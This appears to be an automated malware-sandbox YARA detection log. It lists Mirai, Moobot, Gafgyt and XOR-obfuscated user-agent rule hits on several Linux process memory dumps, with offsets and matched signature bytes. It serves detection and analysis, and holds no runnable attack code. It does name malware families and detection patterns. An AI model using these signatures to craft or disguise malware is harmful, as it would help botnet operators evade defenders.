7167.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7167.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7321.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7321.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7321.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7321.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6906.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6973.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6973.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6973.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6973.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6973.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6973.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6866.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6866.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6866.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6866.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6866.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6866.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6879.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7368.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7368.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7368.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7368.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6969.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6527.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6417.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6417.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6417.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6417.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
